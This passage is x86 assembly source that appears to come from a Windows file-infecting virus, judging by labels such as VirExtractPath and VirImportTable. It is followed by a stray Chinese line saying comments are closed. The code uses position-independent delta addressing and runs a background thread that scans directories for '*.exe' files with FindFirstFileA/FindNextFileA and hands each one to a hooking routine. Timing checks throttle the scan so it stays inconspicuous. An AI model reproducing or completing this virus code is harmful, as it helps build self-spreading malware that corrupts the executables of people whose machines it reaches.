cmp byte ptr [edi-1],'/'
jz short TrySearchPath_1
mov al,'/'
stosb
TrySearchPath_1:
mov eax,'0fck' and 0ffffffh
stosd
mov edi,esp
call TrySearchFile

add esp,1000
retn
TrySearchPath_end:

;Param: edi->unicode path
TrySearchPathWide:
sub esp,1000

mov edx,edi
mov edi,esp
call UnicodeToAnsi
add edi,eax

jmp short TrySearchPath_Help
TrySearchPathWide_end:

;Extract the file path,then search it
;Param: edi->file name
TrySearchFile:
call CanSearch
jnz short TrySearchFileRet

pushad
call TrySearchFileIP
TrySearchFileIP:
pop ebx
lea esi,[ebx+PathBuf-TrySearchFileIP]
xchg esi,edi

call VirExtractPath

mov edi,ecx
mov eax,'xe.*'
stosd
mov eax,'000e' and 0ffh
stosd

push dword ptr [ebx+VirEventHandle-TrySearchFileIP]
call [ebx+addrSetEvent-TrySearchFileIP]

popad
TrySearchFileRet:
retn
TrySearchFile_end:

;Param: esi->source buffer,edi->dest buffer
;Return: esi,edi->buffer end,ecx->afte the last '/' or the buffer head
VirExtractPath:
cld
mov ecx,edi
VirExtractPathLoop:
lodsb
stosb
cmp al,'/'
jnz short VirExtractPathNotBackSlash
mov ecx,edi
VirExtractPathNotBackSlash:
or al,al
jnz short VirExtractPathLoop

retn
VirExtractPath_end:

;Return: ZF=0,can't begin search,ZF=1,can begin search
CanSearch:
pushad
call CanSearchIP
CanSearchIP:
pop esi

xor edx,edx
mov dl,0
SearchSign equ $-1
or dl,dl
jnz short CanSearchRet

call [esi+addrGetTickCount-CanSearchIP]
xor edx,edx

sub eax,12345678h
CanSearchTick equ $-4
cmp eax,3*1000 ;3 sec
ja short CanSearchRet
inc edx
CanSearchRet:
or edx,edx
popad
retn
CanSearch_end:

;Thread to search a specified path
SearchThread:
call SearchThreadIP
SearchThreadIP:
pop ebp

sub esp,1000

SearchThreadDeadLoop:
mov byte ptr [ebp+SearchSign-SearchThreadIP],0

push large -1
push large 12345678h
VirEventHandle equ $-4
call [ebp+addrWaitForSingleObject-SearchThreadIP]

mov byte ptr [ebp+SearchSign-SearchThreadIP],1

call [ebp+addrGetTickCount-SearchThreadIP]
mov [ebp+SearchThreadTick-SearchThreadIP],eax

lea esi,[ebp+PathBuf-SearchThreadIP]
mov edi,esp
push edi
push esi
call [ebp+addrFindFirstFileA-SearchThreadIP]
inc eax
jz short SearchThreadDeadLoop
dec eax

push eax ;Handle

SearchThreadFindLoop:
pushad
add edi,4*11 ;edi->cFileName

call HookFindHelp
popad

call [ebp+addrGetTickCount-SearchThreadIP]
sub eax,12345678h
SearchThreadTick equ $-4
cmp eax,1500 ;continue run for 1500 millionsecond
ja short SearchThreadClose

pop eax
push eax

push edi
push eax
call [ebp+addrFindNextFileA-SearchThreadIP]
or eax,eax
jnz short SearchThreadFindLoop

SearchThreadClose:
call [ebp+addrFindClose-SearchThreadIP]

call [ebp+addrGetTickCount-SearchThreadIP]
mov [ebp+CanSearchTick-SearchThreadIP],eax

jmp short SearchThreadDeadLoop
SearchThread_end:

VirImportTable:
db 'KERNEL32.dll'
db 0,0,'LoadLibraryA'
db 0,0,'GetProcAddres

抱歉!评论已关闭.